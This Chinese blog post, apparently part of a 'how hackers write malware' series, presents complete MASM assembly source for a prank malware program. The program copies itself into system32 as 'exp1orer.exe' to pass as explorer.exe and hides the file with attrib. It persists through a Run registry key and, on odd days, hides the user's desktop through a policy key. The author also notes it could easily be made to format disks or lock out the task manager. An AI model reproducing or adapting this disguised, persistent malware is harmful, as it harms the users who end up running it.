知己知彼 解析黑客如何编写恶意软件2

本来这里就到了全盘搜索exe文件进行感染的时候了,不过这个程序不是病毒,只能象征性搞些恶作剧,我这里是通过修改注册表达到隐藏桌面图表,估计MM是认为感染了病毒。 .data szWriteKey db ""Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"",0 szWriteValue db ""NoDesktop"",0 ;键值名称 szDword dd 1 ;数据
  调用了子程序_WriteKey来完成:    _WriteKey proc _lpKey local @hKey,@dwIndex,@dwLastTime:FILETIME invoke RegcreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey .if eax == ERROR_SUCCESS invoke RegSetValueEx,@hKey,addr szWriteValue,NULL,\ REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据 invoke RegCloseKey,@hKey .endif ret _WriteKey endp
  做完后,这一步就到了传播,呵呵,不过偶没写,就来个“invoke deleteFile,addr szDirectory”删除,然后也就退出了“invoke ExitProcess,NULL”虽然说恶意程序,但是破坏的地方不多。如果要模拟“万花谷”的破坏方式,也就是禁止了注册表而已,这个完全可以做到。程序的完整代码如下: .386 .model flat,stdcall option casemap:none include windows.inc include kernel32.inc include user32.inc include advapi32.inc includelib kernel32.lib includelib ******.lib includelib advapi32.lib .data szWin db ""C:\windows\system32\exp1orer.exe"",0 szCmdAttrib db ""attrib +R +H C:\windows\system32\exp1orer.exe"",0 szDirectory db 0 szRegKey db ""SOFTWARE\Microsoft\Windows\CurrentVersion\Run"",0 szRegValue db ""StartPE"",0 szStr1 db "C:\WINDOWS\System32\exp1orer.exe" szWriteKey db ""Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"",0 szWriteValue db ""NoDesktop"",0 ;键值名称 szDword dd 1 ;数据 .data? hInstance dd ? hModule dd ? lpSystemTime SYSTEMTIME <?> osVersion OSVERSIONINFO <?> stStartUp STARTUPINFO <?> stProcInfo PROCESS_INFORMATION <?> .code ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _AttribCmd proc invoke GetStartupInfo,addr stStartUp invoke createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\ NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo ret _AttribCmd endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _createKey proc _lpKey local @hKey,@dwIndex,@dwLastTime:FILETIME invoke RegcreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey .if eax == ERROR_SUCCESS invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\ REG_SZ,addr szStr1,32 ;写入一个REG_SZ类型的数据 invoke RegCloseKey,@hKey .***** ret _createKey endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _WriteKey proc _lpKey local @hKey,@dwIndex,@dwLastTime:FILETIME invoke RegcreateKey,HKEY_CURRENT_USER,offset szWriteKey,addr @hKey .if eax == ERROR_SUCCESS invoke RegSetValueEx,@hKey,addr szWriteValue,NULL,\ REG_DWORD,addr szDword,4 ;写入一个REG_DWORD类型的数据 invoke RegCloseKey,@hKey .endif ret _WriteKey endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> start: invoke GetModuleHandle,0 mov hInstance,eax invoke _createKey,NULL ;设置为启动 invoke GetSystemTime,offset lpSystemTime movzx ebx,lpSystemTime.wDay ;获取本地日,你可以判断这个变量就可以了。 .if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)|| (ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27) ||(ebx == 29) invoke GetModuleFileName,hModule,addr szDirectory,200;获取程序路径 invoke CopyFile,addr szDirectory,addr szWin,FALSE call _AttribCmd invoke _WriteKey,NULL ;修改注册表,隐藏桌面图表 invoke deleteFile,addr szDirectory invoke ExitProcess,NULL .endif end start
  这个程序要是经过恶意修改,格式化磁盘是完全没问题的,无非就是调用一个“createProcess”,但是知道了一种调用方法,其他的也是千篇一律,例如对注册表修改,禁止右键,禁止使用任务管理器,禁止IE选项等等所以我声明一下,这个程序带有一点点的攻击性,发表仅仅提供交流,如果使用,后果由使用者自己负责,与作者和邪恶八进制无关,呵呵! 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值